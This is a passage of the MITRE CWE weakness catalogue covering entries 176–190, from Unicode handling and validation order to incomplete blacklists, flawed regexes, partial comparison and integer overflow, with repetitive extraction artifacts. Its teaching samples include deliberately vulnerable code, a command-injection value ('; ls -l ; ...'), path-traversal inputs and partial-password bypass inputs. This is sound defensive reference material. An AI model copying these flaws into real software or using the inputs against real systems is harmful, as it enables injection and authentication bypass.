Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation**Output Encoding**

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Implementation**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

CWE-176: Improper Handling of Unicode Encoding

Weakness ID: 176 (Weakness Variant)

Status: Draft

Description

Summary

The software does not properly handle when an input contains Unicode encoding.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Integrity

Unexpected state

Demonstrative Examples

Windows provides the `MultiByteToWideChar()`, `WideCharToMultiByte()`, `UnicodeToBytes()`, and `BytesToUnicode()` functions to convert between arbitrary multibyte (usually ANSI) character strings and Unicode (wide character) strings. The size arguments to these functions are specified in different units, (one in bytes, the other in characters) making their use prone to error.

In a multibyte character string, each character occupies a varying number of bytes, and therefore the size of such strings is most easily specified as a total number of bytes. In Unicode, however, characters are always a fixed size, and string lengths are typically given by the number of characters they contain. Mistakenly specifying the wrong units in a size argument can lead to a buffer overflow.

The following function takes a username specified as a multibyte string and a pointer to a structure for user information and populates the structure with information about the specified user. Since Windows authentication uses Unicode for usernames, the username argument is first converted from a multibyte string to a Unicode string.

C Example:

Bad Code

```
void getUserInfo(char *username, struct _USER_INFO_2 info){
    WCHAR unicodeUser[UNLEN+1];
    MultiByteToWideChar(CP_ACP, 0, username, -1, unicodeUser, sizeof(unicodeUser));
    NetUserGetInfo(NULL, unicodeUser, 2, (LPBYTE *)&info);
}
```

This function incorrectly passes the size of `unicodeUser` in bytes instead of characters. The call to `MultiByteToWideChar()` can therefore write up to $(UNLEN+1)*sizeof(WCHAR)$ wide characters, or $(UNLEN+1)*sizeof(WCHAR)*sizeof(WCHAR)$ bytes, to the `unicodeUser` array, which has only $(UNLEN+1)*sizeof(WCHAR)$ bytes allocated.

If the username string contains more than `UNLEN` characters, the call to `MultiByteToWideChar()` will overflow the buffer `unicodeUser`.

Observed Examples

Reference	Description
CVE-2000-0884	Server allows remote attackers to read documents outside of the web root, and possibly execute arbitrary commands, via malformed URLs that contain Unicode encoded characters.
CVE-2001-0669	Overlaps interaction error.
CVE-2001-0709	Server allows a remote attacker to obtain source code of ASP files via a URL encoded with Unicode.

Potential Mitigations

Architecture and Design

Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Implementation**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

CWE-178: Improper Handling of Case Sensitivity**Weakness ID:** 178 (*Weakness Base*)**Status:** Incomplete**Description****Summary**

The software does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.

Extended Description

Improperly handled case sensitive data can lead to several possible consequences, including:

- case-insensitive passwords reducing the size of the key space, making brute force attacks easier
- bypassing filters or access controls using alternate names
- multiple interpretation errors using alternate names.

Time of Introduction

- Implementation

Applicable Platforms**Languages**

- Language-Independent

Common Consequences**Access Control****Bypass protection mechanism****Demonstrative Examples**

In the following example, an XSS neutralization method replaces script tags in user supplied input with a safe equivalent:

Java Example:*Bad Code*

```
public String preventXSS(String input, String mask) {
    return input.replaceAll("script", mask);
}
```

The code only works when the "script" tag is in all lower-case, forming an incomplete blacklist (CWE-184). Equivalent tags such as "SCRIPT" or "ScRiPt" will not be neutralized by this method, allowing an XSS attack.

Observed Examples

Reference	Description
CVE-1999-0239	Directories may be listed because lower case web requests are not properly handled by the server.
CVE-2000-0497	The server is case sensitive, so filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text".
CVE-2000-0498	The server is case sensitive, so filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text".
CVE-2000-0499	Application server allows attackers to bypass execution of a jsp page and read the source code using an upper case JSP extension in the request.
CVE-2001-0766	A URL that contains some characters whose case is not matched by the server's filters may bypass access restrictions because the case-insensitive file system will then handle the request after it bypasses the case sensitive filter.
CVE-2001-0795	Server allows remote attackers to obtain source code of CGI scripts via URLs that contain MS-DOS conventions such as (1) upper case letters or (2) 8.3 file names.

Reference	Description
CVE-2001-1238	Task Manager does not allow local users to end processes with uppercase letters named (1) winlogon.exe, (2) csrss.exe, (3) smss.exe and (4) services.exe via the Process tab which could allow local users to install Trojan horses that cannot be stopped.
CVE-2002-0485	Leads to interpretation error
CVE-2002-1820	Mixed case problem allows "admin" to have "Admin" rights (alternate name property).
CVE-2002-2119	Case insensitive passwords lead to search space reduction.
CVE-2003-0411	chain: Code was ported from a case-sensitive Unix platform to a case-insensitive Windows platform where filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text".
CVE-2004-1083	Web server restricts access to files in a case sensitive manner, but the filesystem accesses files in a case insensitive manner, which allows remote attackers to read privileged files using alternate capitalization.
CVE-2004-2154	Mixed upper/lowercase allows bypass of ACLs.
CVE-2004-2214	HTTP server allows bypass of access restrictions using URIs with mixed case.
CVE-2005-0269	File extension check in forum software only verifies extensions that contain all lowercase letters, which allows remote attackers to upload arbitrary files via file extensions that include uppercase letters.
CVE-2005-4509	Bypass malicious script detection by using tokens that aren't case sensitive.
CVE-2007-3365	Chain: uppercase file extensions causes web server to return script source code instead of executing the script.

Potential Mitigations

Architecture and Design

CWE-179: Incorrect Behavior Order: Early Validation

Weakness ID: 179 (*Weakness Base*)

Status: Incomplete

Description

Summary

The software validates input before applying protection mechanisms that modify the input, which could allow an attacker to bypass the validation via dangerous inputs that only arise after the modification.

Extended Description

Software needs to validate data at the proper time, after data has been canonicalized and cleansed. Early validation is susceptible to various manipulations that result in dangerous inputs that are produced by canonicalization and cleansing.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

Since early validation errors usually arise from improperly implemented defensive mechanisms, it is likely that these will be introduced more frequently as secure programming becomes implemented more widely.

Common Consequences

Access Control

Integrity

Bypass protection mechanism

Execute unauthorized code or commands

An attacker could include dangerous input that bypasses validation protection mechanisms which can be used to launch various attacks including injection attacks, execute arbitrary code or cause other unintended behavior.

Demonstrative Examples

Example 1:

The following code attempts to validate a given input path by checking it against a whitelist and then return the canonical path. In this specific case, the path is considered valid if it starts with the string `"/safe_dir/`.

Java Example:

Bad Code

```
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
    File f = new File(path);
    return f.getCanonicalPath();
}
```

The problem with the above code is that the validation step occurs before canonicalization occurs. An attacker could provide an input path of `"/safe_dir/.."` that would pass the validation step.

However, the canonicalization process sees the double dot as a traversal to the parent directory and hence when canonized the path would become just "/".

To avoid this problem, validation should occur after canonicalization takes place. In this case canonicalization occurs during the initialization of the File object. The code below fixes the issue.

Java Example:

Good Code

```
String path = getInputPath();
File f = new File(path);
if (f.getCanonicalPath().startsWith("/safe_dir/"))
{
    return f.getCanonicalPath();
}
```

Example 2:

This script creates a subdirectory within a user directory and sets the user as the owner.

PHP Example:

Bad Code

```
function createDir($userName,$dirName){
    $userDir = '/users/'. $userName;
    if(strpos($dirName, '..') !== false){
        echo 'Directory name contains invalid sequence';
        return;
    }
    //filter out '~' because other scripts identify user directories by this prefix
    $dirName = str_replace('~', '', $dirName);
    $newDir = $userDir . $dirName;
    mkdir($newDir, 0700);
    chown($newDir, $userName);
}
```

While the script attempts to screen for '..' sequences, an attacker can submit a directory path including "~.", which will then become ".." after the filtering step. This allows a Path Traversal (CWE-21) attack to occur.

Observed Examples

Reference	Description
CVE-2000-0191	Overlaps "fakechild/./realchild"
CVE-2002-0433	Product allows remote attackers to view restricted files via an HTTP request containing a "*" (wildcard or asterisk) character.
CVE-2002-0802	Database consumes an extra character when processing a character that cannot be converted, which could remove an escape character from the query and make the application subject to SQL injection attacks.
CVE-2002-0934	Directory traversal vulnerability allows remote attackers to read or modify arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a ".." sequence.
CVE-2003-0282	Directory traversal vulnerability allows attackers to overwrite arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a ".." sequence.
CVE-2003-0332	Product modifies the first two letters of a filename extension after performing a security check, which allows remote attackers to bypass authentication via a filename with a .ats extension instead of a .hts extension.
CVE-2004-2363	Product checks URI for "<" and other literal characters, but does it before hex decoding the URI, so "%3E" and other sequences are allowed.

Potential Mitigations**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

CWE-180: Incorrect Behavior Order: Validate Before Canonicalize

Weakness ID: 180 (Weakness Base) Status: Draft

Description

Summary

The software validates input before it is canonicalized, which prevents the software from detecting data that becomes invalid after the canonicalization step.

Extended Description

This can be used by an attacker to bypass the validation and launch attacks that expose weaknesses that would otherwise be prevented, such as injection.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Access Control

Bypass protection mechanism

Demonstrative Examples

The following code attempts to validate a given input path by checking it against a whitelist and then return the canonical path. In this specific case, the path is considered valid if it starts with the string "/safe_dir/".

Java Example:

```
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
    File f = new File(path);
```

Bad Code

```
return f.getCanonicalPath();
}
```

The problem with the above code is that the validation step occurs before canonicalization occurs. An attacker could provide an input path of `"/safe_dir/.."` that would pass the validation step. However, the canonicalization process sees the double dot as a traversal to the parent directory and hence when canonized the path would become just `"/"`.

To avoid this problem, validation should occur after canonicalization takes place. In this case canonicalization occurs during the initialization of the File object. The code below fixes the issue.

Java Example:*Good Code*

```
String path = getInputPath();
File f = new File(path);
if (f.getCanonicalPath().startsWith("/safe_dir/"))
{
    return f.getCanonicalPath();
}
```

CWE-181: Incorrect Behavior Order: Validate Before Filter

Weakness ID: 181 (Weakness Base)

Status: Draft

Description

Summary

The software validates data before it has been filtered, which prevents the software from detecting data that becomes invalid after the filtering step.

Extended Description

This can be used by an attacker to bypass the validation and launch attacks that expose weaknesses that would otherwise be prevented, such as injection.

Alternate Terms

Validate-before-cleanse

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Access Control

Bypass protection mechanism

Demonstrative Examples

This script creates a subdirectory within a user directory and sets the user as the owner.

PHP Example:

Bad Code

```
function createDir($userName,$dirName){
    $userDir = '/users/'. $userName;
    if(strpos($dirName,'..') !== false){
        echo 'Directory name contains invalid sequence';
        return;
    }
    //filter out '~' because other scripts identify user directories by this prefix
    $dirName = str_replace('~','',$dirName);
    $newDir = $userDir . $dirName;
    mkdir($newDir, 0700);
    chown($newDir,$userName);
}
```

While the script attempts to screen for '..' sequences, an attacker can submit a directory path including "~.", which will then become ".." after the filtering step. This allows a Path Traversal (CWE-21) attack to occur.

Observed Examples

Reference	Description
CVE-2002-0934	Directory traversal vulnerability allows remote attackers to read or modify arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a ".." sequence.
CVE-2003-0282	Directory traversal vulnerability allows attackers to overwrite arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a ".." sequence.

Potential Mitigations

Implementation**Architecture and Design**

Inputs should be decoded and canonicalized to the application's current internal representation before being filtered.

CWE-182: Collapse of Data into Unsafe Value

Weakness ID: 182 (Weakness Base)

Status: Draft

Description**Summary**

The software filters data in a way that causes it to be reduced or "collapsed" into an unsafe value that violates an expected security property.

Time of Introduction

- Implementation

Applicable Platforms**Languages**

- Language-Independent

Common Consequences**Access Control****Bypass protection mechanism****Observed Examples**

Reference	Description
CVE-2001-1157	XSS protection mechanism strips a <script> sequence that is nested in another <script> sequence.
CVE-2002-0325	".../../" collapsed to ".../" due to removal of "/" in web server.
CVE-2002-0784	chain: HTTP server protects against ".." but allows "." variants such as "////./.../". If the server removes "/.." sequences, the result would collapse into an unsafe value "////.." (CWE-182).
CVE-2004-0815	"./../" in pathname collapses to absolute path.
CVE-2005-2169	MFV. Regular expression intended to protect against directory traversal reduces ".../../" to "../".

Reference	Description
CVE-2005-3123	"./././././././." is collapsed into ".././" after "." and "/" sequences are removed.

Potential Mitigations

Architecture and Design

Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Canonicalize the name to match that of the file system's representation of the name. This can sometimes be achieved with an available API (e.g. in Win32 the GetFullPathName function).

Relationships

CWE-184: Incomplete Blacklist

Weakness ID: 184 (Weakness Base)

Status: Draft

Description

Summary

An application uses a "blacklist" of prohibited values, but the blacklist is incomplete.

Extended Description

If an incomplete blacklist is used as a security mechanism, then the software may allow unintended values to pass into the application logic.

Time of Introduction

- Implementation

- Architecture and Design

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Access Control

Bypass protection mechanism

Detection Methods

Black Box

Exploitation of incomplete blacklist weaknesses using the obvious manipulations might fail, but minor variations might succeed.

Demonstrative Examples

The following code attempts to stop XSS attacks by removing all occurrences of "script" in an input string.

Java Example:

Bad Code

```
public String removeScriptTags(String input, String mask) {
    return input.replaceAll("script", mask);
}
```

Because the code only checks for the lower-case "script" string, it can be easily defeated with upper-case script tags.

Observed Examples

Reference	Description
CVE-2002-0661	"\" not in blacklist for web server, allowing path traversal attacks when the server is run in Windows and other OSes.
CVE-2004-0542	Programming language does not filter certain shell metacharacters in Windows environment.
CVE-2004-0595	XSS filter doesn't filter null characters before looking for dangerous tags, which are ignored by web browsers. MIE and validate-before-cleanse.
CVE-2004-2351	Resultant XSS from incomplete blacklist (only <script> and <style> are checked).
CVE-2005-1824	SQL injection protection scheme does not quote the "\" special character.
CVE-2005-2184	Incomplete blacklist prevents user from automatically executing .EXE files, but allows .LNK, allowing resultant Windows symbolic link.
CVE-2005-2782	PHP remote file inclusion in web application that filters "http" and "https" URLs, but not "ftp".
CVE-2005-2959	Privileged program does not clear sensitive environment variables that are used by bash. Overlaps multiple interpretation error.
CVE-2005-3287	Web-based mail product doesn't restrict dangerous extensions such as ASPX on a web server, even though others are prohibited.
CVE-2006-4308	Chain: only checks "javascript:" tag
CVE-2007-1343	product doesn't protect one dangerous variable against external modification
CVE-2007-3572	Chain: incomplete blacklist for OS command injection
CVE-2007-5727	Chain: only removes SCRIPT tags, enabling XSS

Potential Mitigations

Implementation

Input Validation

Combine use of blacklist with appropriate use of whitelists.

Implementation

Input Validation

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

Nature	Type	ID	Name	V	GO	Page
CanPrecede	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	1000		116
CanPrecede	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	1000	692	126
CanPrecede	B	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	1000		179
ChildOf	C	171	Cleansing, Canonicalization, and Comparison Errors	699		325
CanPrecede	B	434	Unrestricted Upload of File with Dangerous Type	1000		730
ChildOf	G	693	Protection Mechanism Failure	1000 1003		1054
ChildOf	G	697	Insufficient Comparison	1000		1058
ChildOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888		1376
PeerOf	V	86	Improper Neutralization of Invalid Characters in Identifiers in Web Pages	1000		147
CanAlsoBe	B	186	Overly Restrictive Regular Expression	1000		348
PeerOf	B	625	Permissive Regular Expression	1000		957
StartsChain	GO	692	Incomplete Blacklist to Cross-Site Scripting	709	692	1054

Relationship Notes

An incomplete blacklist frequently produces resultant weaknesses.

Some incomplete blacklist issues might arise from multiple interpretation errors, e.g. a blacklist for dangerous shell metacharacters might not include a metacharacter that only has meaning in one particular shell, not all of them; or a blacklist for XSS manipulations might ignore an unusual construct that's supported by one web browser, but not others.

CWE-185: Incorrect Regular Expression

Weakness ID: 185 (Weakness Class)

Status: Draft

Description

Summary

The software specifies a regular expression in a way that causes data to be improperly matched or compared.

Extended Description

When the regular expression is used in protection mechanisms such as filtering or validation, this may allow an attacker to bypass the intended restrictions on the incoming data.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Other

Unexpected state

Varies by context

When the regular expression is not correctly specified, data might have a different format or type than the rest of the program expects, producing resultant weaknesses or errors.

Access Control

Bypass protection mechanism

In PHP, regular expression checks can sometimes be bypassed with a null byte, leading to any number of weaknesses.

Demonstrative Examples

The following code takes phone numbers as input, and uses a regular expression to reject invalid phone numbers.

Perl Example:

Bad Code

```
$phone = GetPhoneNumber();
if ($phone =~ /\d+-\d+/) {
    # looks like it only has hyphens and digits
    system("lookup-phone $phone");
}
else {
    error("malformed number!");
}
```

An attacker could provide an argument such as "; ls -l ; echo 123-456" This would pass the check, since "123-456" is sufficient to match the "\d+-\d+" portion of the regular expression.

Observed Examples

Reference	Description
CVE-2000-0115	Local user DoS via invalid regular expressions.
CVE-2001-1072	Bypass access restrictions via multiple leading slash, which causes a regular expression to fail.
CVE-2002-1527	chain: Malformed input generates a regular expression error that leads to information exposure.
CVE-2002-2109	Regexp isn't "anchored" to the beginning or end, which allows spoofed values that have trusted values as substrings.
CVE-2005-0603	Malformed regexp syntax leads to information exposure in error message.
CVE-2005-1061	Certain strings are later used in a regexp, leading to a resultant crash.
CVE-2005-1820	Code injection due to improper quoting of regular expression.
CVE-2005-1949	Regexp for IP address isn't anchored at the end, allowing appending of shell metacharacters.
CVE-2005-2169	MFV. Regular expression intended to protect against directory traversal reduces ".../..." to ".../".
CVE-2005-3153	Null byte bypasses PHP regexp check.
CVE-2005-4155	Null byte bypasses PHP regexp check.

Potential Mitigations

Architecture and Design

Refactoring

Regular expressions can become error prone when defining a complex language even for those experienced in writing grammars. Determine if several smaller regular expressions simplify one large regular expression. Also, subject the regular expression to thorough testing techniques such as equivalence partitioning, boundary value analysis, and robustness. After testing and a reasonable confidence level is achieved, a regular expression may not be foolproof. If an exploit is allowed to slip through, then record the exploit and refactor the regular expression.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	19	Data Processing Errors	1003	16
ChildOf	C	171	Cleansing, Canonicalization, and Comparison Errors	699	325
CanPrecede	B	182	Collapse of Data into Unsafe Value	1000	342
CanPrecede	B	187	Partial Comparison	1000	349
ChildOf	C	697	Insufficient Comparison	1000	1058
ChildOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1376
ParentOf	B	186	<i>Overly Restrictive Regular Expression</i>	699 1000	348
ParentOf	B	625	<i>Permissive Regular Expression</i>	699 1000	957
MemberOf	V	884	<i>CWE Cross-section</i>	884	1306

Relationship Notes

While there is some overlap with whitelist/blacklist problems, this entry is intended to deal with incorrectly written regular expressions, regardless of their intended use. Not every regular expression is intended for use as a whitelist or blacklist. In addition, whitelists and blacklists can be implemented using other mechanisms besides regular expressions.

Research Gaps

Regex errors are likely a primary factor in many MFVs, especially those that require multiple manipulations to exploit. However, they are rarely diagnosed at this level of detail.

CWE-186: Overly Restrictive Regular Expression

Weakness ID: 186 (*Weakness Base*)

Status: Draft

Description

Summary

A regular expression is overly restrictive, which prevents dangerous values from being detected.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Access Control

Bypass protection mechanism

Observed Examples

Reference	Description
CVE-2005-1604	MIE. ".php.ns" bypasses ".php\$" regexp but is still parsed as PHP by Apache. (manipulates an equivalence property under Apache)

Potential Mitigations

Implementation

Regular expressions can become error prone when defining a complex language even for those experienced in writing grammars. Determine if several smaller regular expressions simplify one large regular expression. Also, subject your regular expression to thorough testing techniques such as equivalence partitioning, boundary value analysis, and robustness. After testing and a reasonable confidence level is achieved, a regular expression may not be foolproof. If an exploit is allowed to slip through, then record the exploit and refactor your regular expression.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Overly Restrictive Regular Expression

CWE-187: Partial Comparison

Weakness ID: 187 (Weakness Base) Status: Incomplete

Description

Summary

The software performs a comparison that only examines a portion of a factor before determining whether there is a match, such as a substring, leading to resultant weaknesses.

Extended Description

For example, an attacker might succeed in authentication by providing a small password that matches the associated portion of the larger, correct password.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Integrity

Access Control

Alter execution logic

Bypass protection mechanism

Demonstrative Examples

This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

C Example:

Bad Code

```
/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */
char *username = "admin";
char *pass = "password";
int AuthenticateUser(char *inUser, char *inPass) {
    if (strncmp(username, inUser, strlen(inUser))) {
        logEvent("Auth failure of username using strlen of inUser");
        return(AUTH_FAIL);
    }
    if (! strncmp(pass, inPass, strlen(inPass))) {
        logEvent("Auth success of password using strlen of inUser");
        return(AUTH_SUCCESS);
    }
    else {
        logEvent("Auth fail of password using sizeof");
        return(AUTH_FAIL);
    }
}
int main (int argc, char **argv) {
    int authResult;
    if (argc < 3) {
        ExitError("Usage: Provide a username and password");
    }
    authResult = AuthenticateUser(argv[1], argv[2]);
    if (authResult == AUTH_SUCCESS) {
        DoAuthenticatedTask(argv[1]);
    }
    else {
        ExitError("Authentication failed");
    }
}
```

In `AuthenticateUser()`, the `strncmp()` call uses the string length of an attacker-provided `inPass` parameter in order to determine how many characters to check in the password. So, if the attacker only provides a password of length 1, the check will only examine the first byte of the application's password before determining success.

As a result, this partial comparison leads to improper authentication (CWE-287).

Any of these passwords would still cause authentication to succeed for the "admin" user:

Attack

```
p
pa
pas
pass
```

This significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "a" and "adm" will succeed for the username.

While this demonstrative example may not seem realistic, see the Observed Examples for CVE entries that effectively reflect this same weakness.

Observed Examples

Reference	Description
CVE-2000-0979	One-character password by attacker checks only against first character of real password.
CVE-2002-1374	One-character password by attacker checks only against first character of real password.
CVE-2004-0765	Web browser only checks the hostname portion of a certificate when the hostname portion of the URI is not a fully qualified domain name (FQDN), which allows remote attackers to spoof trusted certificates.
CVE-2004-1012	Argument parser of an IMAP server treats a partial command "body[p" as if it is "body.peek", leading to index error and out-of-bounds corruption.

Potential Mitigations

Testing

Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	171	Cleansing, Canonicalization, and Comparison Errors	699	325

PeerOf	B	625	Permissive Regular Expression	1000	957
ParentOf	B	839	Numeric Range Comparison Without Minimum Check	1000	1266

Relationship Notes

This is conceptually similar to other weaknesses, such as insufficient verification and regular expression errors. It is primary to some weaknesses.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Partial Comparison

CWE-188: Reliance on Data/Memory Layout

Weakness ID: 188 (Weakness Base)

Status: Draft

Description

Summary

The software makes invalid assumptions about how protocol data or memory is organized at a lower level, resulting in unintended program behavior.

Extended Description

When changing platforms or protocol versions, data may move in unintended ways. For example, some architectures may place local variables A and B right next to each other with A on top; some may place them next to each other with B on top; and others may add some padding to each. The padding size may vary to ensure that each variable is aligned to a proper word size.

In protocol implementations, it is common to calculate an offset relative to another field to pick out a specific piece of data. Exceptional conditions, often involving new protocol versions, may add corner cases that change the data layout in an unusual way. The result can be that an implementation accesses an unintended field in the packet, treating data of one type as data of another type.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Integrity

Confidentiality

Modify memory

Read memory

Can result in unintended modifications or exposure of sensitive memory.

Likelihood of Exploit

Low

Demonstrative Examples

In this example function, the memory address of variable b is derived by adding 1 to the address of variable a. This derived address is then used to assign the value 0 to b.

C Example:

Bad Code

```
void example() {
    char a;
    char b;
    *(&a + 1) = 0;
}
```

Here, b may not be one byte past a. It may be one byte in front of a. Or, they may have three bytes between them because they are aligned on 32-bit boundaries.

Potential Mitigations

Implementation

Architecture and Design

In flat address space situations, never allow computing memory addresses as offsets from another memory address.

Architecture and Design

Fully specify protocol layout unambiguously, providing a structured grammar (e.g., a compilable yacc grammar).

Testing

Testing: Test that the implementation properly handles each case in the protocol grammar.

CERT Perl Secure Coding	INT01-PL	CWE More Abstract	Use small integers when precise computation is required

CWE-190: Integer Overflow or Wraparound

Weakness ID: 190 (*Weakness Base*)

Status: Incomplete

Description

Summary

The software performs a calculation that can produce an integer overflow or wraparound, when the logic assumes that the resulting value will always be larger than the original value. This can introduce other weaknesses when the calculation is used for resource management or execution control.

Extended Description

An integer overflow or wraparound occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may wrap to become a very small or negative number. While this may be intended behavior in circumstances that rely on wrapping, it can have security consequences if the wrap is unexpected. This is especially the case if the integer overflow can be triggered using user-supplied inputs. This becomes security-critical when the result is used to control looping, make a security decision, or determine the offset or size in behaviors such as memory allocation, copying, concatenation, etc.

Terminology Notes

"Integer overflow" is sometimes used to cover several types of errors, including signedness errors, or buffer overflows that involve manipulation of integer data types instead of characters. Part of the confusion results from the fact that 0xffffffff is -1 in a signed context. Other confusion also arises because of the role that integer overflows have in chains.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Availability

DoS: crash / exit / restart

DoS: resource consumption (CPU)

DoS: resource consumption (memory)

DoS: instability

This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.

Integrity

Modify memory

If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.

Confidentiality

Availability

Access Control

Execute unauthorized code or commands

Bypass protection mechanism

This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.

Likelihood of Exploit

Medium

Detection Methods

Automated Static Analysis

High

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Black Box

Moderate

Sometimes, evidence of this weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring follow-up manual methods to diagnose the underlying problem.

Manual Analysis

High

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of allocation calculations. This can be useful for detecting overflow conditions (CWE-190) or similar weaknesses that might have serious security impacts on the program.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis - Binary / Bytecode

SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

